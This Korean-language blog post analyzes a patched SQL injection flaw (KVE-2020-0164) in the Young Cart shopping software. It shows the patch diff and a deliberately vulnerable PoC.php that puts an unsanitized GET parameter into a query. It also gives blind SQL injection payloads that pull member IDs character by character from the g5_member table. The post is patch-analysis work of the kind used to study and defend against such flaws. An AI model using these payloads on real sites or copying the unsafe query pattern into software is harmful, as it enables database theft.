개요
먼저 해당 취약점은 PG(전자지급 결제대행)사에서 데이터를 보냈는지 하드코딩된 IP로 확인하는 과정이 존재하기 때문에 실제 익스플로잇 가능성은 거의 없다고 생각이 됩니다.
취약점 관련 정보
정보 | 내용 |
취약 버전 | Young Cart <= 5.4.2.2 |
패치 버전 | Young Cart 5.4.2.3 |
취약점 종류 | SQL Injection |
KVE 번호 | KVE 2020-0164 |
패치 내역(-는 패치 이전 코드, +는 패치 이후 코드)
mobile/shop/inicis/settle_common.php
# 45 Line
- $P_OID = $_POST['P_OID'];
+ $P_OID = preg_replace("/[ #\&\+%@=\/\\\:;,\.'\"\^`~|\!\?\*$#<>()\[\]\{\}]/i", "", $_POST['P_OID']);
# 99 Line
- $sql = " select * from {$g5['g5_shop_order_data_table']} where od_id = $P_OID ";
+ $sql = " select * from {$g5['g5_shop_order_data_table']} where od_id = '$P_OID' ";
분석
패치 내역을 분석한 경과, P_OID 변수가 Query로 사용되는 과정에서 필터링 없이 그대로 사용되었기 때문에 취약점이 발생하였습니다.
아래는 하드코딩된 IP를 이용하여 PG사에서 보낸 데이터만을 처리하는 코드입니다.
# 19 Line
if($PGIP == "211.219.96.165" || $PGIP == "118.129.210.25" || $PGIP == "183.109.71.153" || $PGIP == "203.238.37.15"){ //PG에서 보냈는지 IP로 체크
해당 취약점을 시연하기 위해 PoC.php 파일과 g5_shop_order_data 테이블의 데이터를 아래와 같이 작성하였습니다.
PoC.php
<?php
include_once('./_common.php');
$P_OID = $_GET['P_OID'];
$sql = " select * from {$g5['g5_shop_order_data_table']} where od_id = $P_OID ";
echo $sql."<Br>";
$od = sql_fetch($sql);
print_r($od);
?>
g5_shop_order_data Table
mysql> SELECT * FROM g5_shop_order_data;
+-------+---------+-------+-------+----------+---------------------+
| od_id | cart_id | mb_id | dt_pg | dt_data | dt_time |
+-------+---------+-------+-------+----------+---------------------+
| 1 | 1 | test1 | test2 | testData | 2020-09-09 11:14:35 |
+-------+---------+-------+-------+----------+---------------------+
1 row in set (0.00 sec)
GET 파라메터 P_OID에 입력한 값에 따라 Blind SQL Injection 취약점이 발생하는 것을 확인할 수 있습니다.
P_OID 값 : P_OID=1
P_OID 값 : P_OID=1 and 0x61=(SELECT substr(mb_id,1,1) from g5_member)
P_OID 값 : P_OID=1 and 0x62=(SELECT substr(mb_id,1,1) from g5_member)
오픈소스의 경우, 데이터베이스 내 테이블이 동일하기 때문에 굳이 테이블과 컬럼 명을 획득할 필요가 없습니다.
Reference
https://github.com/gnuboard/youngcart5/commit/daaff69d0de5964e2773df66fbf185503196a517
'Hack > Web' 카테고리의 다른 글
[KVE-2021-0172,0329,0330] YoungCart 1Day 취약점 분석 (SQL Injection) (0) | 2021.04.19 |
---|---|
strtoupper를 이용한 XSS 공격 (0) | 2021.01.06 |
[KVE-2020-0200,0202] YoungCart 1Day 취약점 분석 (Command Injection) (0) | 2020.09.22 |
[KVE-2020-0656] YoungCart 1Day 취약점 분석 (Command Injection) (0) | 2020.09.22 |
Node js Prototype Pollution (0) | 2020.09.22 |
댓글